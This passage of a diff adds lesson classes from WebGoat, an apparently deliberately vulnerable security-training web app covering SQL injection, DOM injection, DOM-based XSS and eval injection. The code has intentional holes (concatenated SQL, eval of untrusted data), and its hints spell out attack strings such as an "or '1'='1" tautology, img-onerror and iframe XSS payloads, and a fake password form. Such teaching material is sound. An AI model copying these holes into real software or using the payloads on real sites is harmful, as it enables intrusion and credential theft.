this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{
employeeId = s.getParser().getStringParameter(
DBSQLInjection.EMPLOYEE_ID);
String password = s.getParser().getRawParameter(
DBSQLInjection.PASSWORD);
// Attempt authentication
boolean authenticated = login(s, employeeId, password);
if (authenticated)
{
// Execute the chained Action if authentication succeeded.
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
}
catch (ParameterNotFoundException pnfe)
{
// No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated",
Boolean.FALSE);
}
}
public String getNextPage(WebSession s)
{
String nextPage = DBSQLInjection.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
boolean authenticated = false;
try
{
String call = "{ ? = call EMPLOYEE_LOGIN(?,?) }"; // NB: "call", not "CALL"! Doh!
try
{
CallableStatement statement = WebSession.getConnection(s)
.prepareCall(call, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
int rows = statement.getInt(1);
if (rows > 0) {
setSessionAttribute(s,
getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "."
+ DBSQLInjection.USER_ID, userId);
authenticated = true;
if (DBSQLInjection.STAGE1.equals(getStage(s)) &&
DBSQLInjection.PRIZE_EMPLOYEE_ID == Integer.parseInt(userId))
{
setStageComplete(s, DBSQLInjection.STAGE1);
}
} else {
if (DBSQLInjection.STAGE2.equals(getStage(s)))
{
try
{
String call2 = "{ ? = call EMPLOYEE_LOGIN_BACKUP(?,?) }";
statement = WebSession.getConnection(s)
.prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.registerOutParameter(1, Types.INTEGER);
statement.setInt(2, Integer.parseInt(userId));
statement.setString(3, password);
statement.execute();
rows = statement.getInt(1);
if (rows > 0)
setStageComplete(s, DBSQLInjection.STAGE2);
}
catch (SQLException sqle2){}
}
}
}
catch (SQLException sqle)
{
s.setMessage("Error logging in: " + sqle.getLocalizedMessage());
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in: " + e.getLocalizedMessage());
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
}

190
main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java Normal file
View File

@ -0,0 +1,190 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created October 28, 2006
*/
public class DOMInjection extends LessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(10);
private final static String KEY = "key";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
String key = "K1JFWP8BSO8HI52LNPQS8F5L01N";
ElementContainer ec = new ElementContainer();
try
{
String userKey = s.getParser().getRawParameter(KEY, "");
String fromAJAX = s.getParser().getRawParameter("from", "");
if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0
&& userKey.equals(key))
{
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out.print("document.forms[0].SUBMIT.disabled = false;");
out.flush();
out.close();
return ec;
}
if (s.getRequest().getMethod().equalsIgnoreCase("POST"))
{
makeSuccess(s);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
String lineSep = System.getProperty("line.separator");
String script = "<script>" + lineSep + "function validate() {"
+ lineSep + "var keyField = document.getElementById('key');"
+ lineSep + "var url = '" + getLink()
+ "&from=ajax&key=' + encodeURIComponent(keyField.value);"
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep + "req = new XMLHttpRequest();" + lineSep
+ "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep
+ " }" + lineSep + " req.open('GET', url, true);" + lineSep
+ " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep
+ "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep
+ " if (req.status == 200) { " + lineSep
+ " var message = req.responseText;" + lineSep
+ " eval(message);" + lineSep + " }}}" + lineSep
+ "</script>" + lineSep;
ec.addElement(new StringElement(script));
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat Registration Page:")));
ec
.addElement(new BR()
.addElement("Please enter the license key that was emailed to you to start using the application."));
ec.addElement(new BR());
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("70%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD(new StringElement("License Key: ")));
Input input1 = new Input(Input.TEXT, KEY, "");
input1.addAttribute("onkeyup", "validate();");
tr.addElement(new TD(input1));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("&nbsp;").setColSpan(2));
t1.addElement(tr);
tr = new TR();
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Activate!");
b.setName("SUBMIT");
b.setDisabled(true);
tr.addElement(new TD("&nbsp;"));
tr.addElement(new TD(b));
t1.addElement(tr);
ec.addElement(t1);
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to find a way to inject the DOM to enable the Activate button.");
hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;");
return hints;
}
public String getTitle()
{
return "DOM Injection";
}
}

266
main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java Normal file
View File

@ -0,0 +1,266 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script;
import org.owasp.webgoat.session.*;
public class DOMXSS extends SequentialLessonAdapter {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String PERSON = "person";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s) {
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) {
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed. ");
}
return (ec);
}
protected Element doStage2(WebSession s) throws Exception {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) {
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
}
return (ec);
}
protected Element doStage3(WebSession s) throws Exception {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed.");
}
return (ec);
}
protected Element doStage4(WebSession s) throws Exception {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed.");
}
return (ec);
}
protected Element doStage5(WebSession s) throws Exception {
ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s));
/**
* They pass iff:
*
* 1. If the DOMXSS.js file contains the lines "escapeHTML(name)"
*/
String file = s.getWebResource("javascript/DOMXSS.js");
String content = getFileContent(file);
if(content.indexOf("escapeHTML(name)") != -1)
{
makeSuccess(s);
}
return ec;
}
protected ElementContainer mainContent(WebSession s) {
StringBuffer attackString = null;
ElementContainer ec = new ElementContainer();
try {
ec.addElement(new Script().setSrc("javascript/DOMXSS.js"));
ec.addElement(new Script().setSrc("javascript/escape.js"));
ec.addElement(new H1().setID("greeting"));
ec.addElement(new StringElement("Enter your name: "));
attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
Input input = new Input(Input.TEXT, PERSON, attackString.toString());
input.setOnKeyUp("displayGreeting(" + PERSON + ".value)");
ec.addElement(input);
ec.addElement(new BR());
ec.addElement(new BR());
Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b);
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
}
/**
* Gets the hints attribute of the HelloScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s) {
List<String> hints = new ArrayList<String>();
hints.add("Try entering the following: " + "&lt;IMG SRC=\"images/logos/owasp.jpg\"/&gt;");
hints.add("Try entering the following: " + "&lt;img src=x onerror=;;alert('XSS') /&gt;");
hints.add("Try entering the following: " + "&lt;IFRAME SRC=\"javascript:alert('XSS');\"&gt;&lt;/IFRAME&gt;");
hints.add("Try entering the following: " + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " +
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;");
//Attack Strings:
//<IMG SRC="images/logos/owasp.jpg"/>
//<img src=x onerror=;;alert('XSS') />
//<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
//Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
return hints;
}
/**
* Gets the ranking attribute of the HelloScreen object
*
* @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() {
return DEFAULT_RANKING;
}
protected Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle() {
return ("LAB: DOM-Based cross-site scripting");
}
public String getInstructions(WebSession s) {
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: <a href = '/WebGoat/images/logos/owasp.jpg'>OWASP IMAGE</a>";
} else if (getLessonTracker(s).getStage() == 2) {
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
} else if (getLessonTracker(s).getStage() == 3) {
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
} else if (getLessonTracker(s).getStage() == 4) {
instructions = "STAGE 4:\tUse the following to create a fake login form:<br><br>" + "Please enter your password:&lt;BR&gt;&lt;input type = \"password\" name=\"pass\"/&gt;&lt;button " +
"onClick=\"javascript:alert('I have your password: ' + pass.value);\"&gt;Submit&lt;/button&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;";
} else if(getLessonTracker(s).getStage() == 5) {
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
}
return (instructions);
}
private String getFileContent(String content)
{
BufferedReader is = null;
StringBuffer sb = new StringBuffer();
try
{
is = new BufferedReader(new FileReader(new File(content)));
String s = null;
while((s = is.readLine()) != null)
{
sb.append(s);
}
}
catch (Exception e)
{
e.printStackTrace();
}
finally
{
if(is != null)
{
try
{
is.close();
}
catch (IOException ioe)
{
}
}
}
return sb.toString();
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

264
main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java Normal file
View File

@ -0,0 +1,264 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.H2;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ParameterNotFoundException;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class DOS_Login extends LessonAdapter
{
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
String username = "";
String password = "";
username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD);
// don;t allow user name from other lessons. it would be too simple.
if (username.equals("jeff") || username.equals("dave"))
{
ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson"));
return (ec.addElement(makeLogin(s)));
}
// Check if the login is valid
Connection connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_system_data WHERE user_name = '"
+ username + "' and password = '" + password + "'";
ec.addElement(new StringElement(query));
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 1)
{
// Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password))
{
String insertData1 = "INSERT INTO user_login VALUES ( '"
+ username
+ "', '"
+ s.getUserName()
+ "' )";
statement.executeUpdate(insertData1);
}
// check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
results = statement.executeQuery(query);
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 3)
{
makeSuccess(s);
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'";
statement.executeUpdate(deleteData1);
return (new H1("Congratulations! Lesson Completed"));
}
ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow()));
}
}
else
{
ec.addElement(new H2("Login Failed"));
// check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '"
+ s.getUserName() + "'";
results = statement.executeQuery(query);
results.last();
ec.addElement(new H2("Successfull login count: "
+ results.getRow()));
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (ParameterNotFoundException pnfe)
{
/**
* Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login"
* message from being displayed on first load. Note that if we are missing a parameter in
* the request, we do not want to continue processing and we simply want to display the
* default login page.
*/
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec.addElement(makeLogin(s)));
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.DOS;
}
/**
* Gets the hints attribute of the CookieScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Use a SQL Injection to obtain the user names. ");
hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints
.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Denial of Service from Multiple Logins");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
// add the login fields
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
if (s.isColor())
{
t.setBorder(1);
}
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new StringElement("User Name: ")));
row2.addElement(new TD(new StringElement("Password: ")));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
}

280
main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java Normal file
View File

@ -0,0 +1,280 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Eric Sheridan, Aspect Security <a href="http://www.aspectsecurity.com"/>
* @created October 28, 2003
*/
public class DangerousEval extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static String PASSED = "__DANGEROUS_EVAL_PASS";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{
checkSuccess(s);
String param1 = s.getParser().getRawParameter("field1", "111");
//String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
// FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement("<script src=\"javascript/eval.js\"/>");
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
runningTotal += total;
tr.addElement(new TD().addElement("$" + total));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
Input b = new Input();
b.setType(Input.BUTTON);
b.setValue("Update Cart");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr.addElement(new TD().addElement(b));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
b = new Input();
b.setType(Input.BUTTON);
b.setValue("Purchase");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The lesson is similar to the standard reflected cross-site scripting lesson.");
hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem.");
hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?");
hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints.add("In order to pass this lesson, you must 'alert' the document.cookie.");
hints.add("Try 123');alert(document.cookie);('");
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
